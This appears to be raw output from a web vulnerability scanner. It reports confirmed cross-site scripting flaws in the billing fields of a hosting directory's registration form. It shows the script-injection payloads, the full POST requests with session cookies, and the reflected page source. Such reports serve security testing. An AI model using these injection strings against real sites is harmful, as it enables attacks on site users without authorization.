window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='E77A3A5876ED01D2C7A5C0FB601E8A56C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='E77A3A5876ED01D238B49E65FEF5222B6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='E77A3A5876ED01D23C6D47301B33DE28C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='E77A3A5876ED01D2B2A92CBDD30AAE42C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='E77A3A5876ED01D2537838620BA7E1CB6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='E77A3A5876ED01D262F9A9152C760E15C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='E77A3A5876ED01D26B45672914FCC924C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='E77A3A5876ED01D293F211A88541B5C26F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='E77A3A5876ED01D2D7DFE7F9ECE530B2C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='E77A3A5876ED01D290C2BCFEF4A819696F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='E77A3A5876ED01D2A7468B2E6EFB9820C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='E77A3A5876ED01D26AF2998623E7AC4BC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='E77A3A5876ED01D21D1C37BE503A0701C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='E77A3A5876ED01D2B8723E15CB4FCD7BC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='E77A3A5876ED01D2EEAC6C54F463761DC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='E77A3A5876ED01D2AB4A15729347E3D1C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='E77A3A5876ED01D24BDE211304269A376F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='E77A3A5876ED01D222532E830F8A3DED6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='E77A3A5876ED01D22CAB8EBBC4F523826F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 3
province POST 3
zip POST 3
country POST 225
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
account_type POST 1
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
bill_address POST 3
bill_address2 POST '"--></style></script><script>alert(0x001DF0)</script>
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 544
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=3&province=3&zip=3&country=225&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&account_type=1&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&bill_address=3&bill_address2='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001DF0)%3c%2fscript%3e&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 13:18:52 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='E77A3A5876ED01D21933DF2727116187C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='E77A3A5876ED01D26F120E12E1F18B236F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='E77A3A5876ED01D29B7E61D57821F970C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='E77A3A5876ED01D28679492370106E40C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='E77A3A5876ED01D2E7EEA8217DA3C26E6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='E77A3A5876ED01D2B0AC7A20CBF35AC7C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='E77A3A5876ED01D27BFF8554B93D356EC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='E77A3A5876ED01D2FE8808C1A5F7D0CB6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='E77A3A5876ED01D24EA22D85ECC5E6E1C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='E77A3A5876ED01D273D82DC3BA5FE99C6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='E77A3A5876ED01D2EAF028A2AF04E5FFC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='E77A3A5876ED01D202F656D4CD698E27C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='E77A3A5876ED01D27EE3D0DBE3B3A7A6C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='E77A3A5876ED01D2048EE6E57E6C1B07C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='E77A3A5876ED01D2DFCDCB3AA7E33DB3C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='E77A3A5876ED01D219B012769502D03CC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='E77A3A5876ED01D20688E5C4ABA494946F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='E77A3A5876ED01D2F540CE5C434530016F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='E77A3A5876ED01D26E084013730F39DE6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 3
province POST 3
zip POST 3
country POST 225
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
account_type POST 1
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
bill_address POST 3
bill_address2 POST 3
bill_city POST '"--></style></script><script>alert(0x001DF1)</script>
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 544
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=3&province=3&zip=3&country=225&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&account_type=1&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&bill_address=3&bill_address2=3&bill_city='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001DF1)%3c%2fscript%3e&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
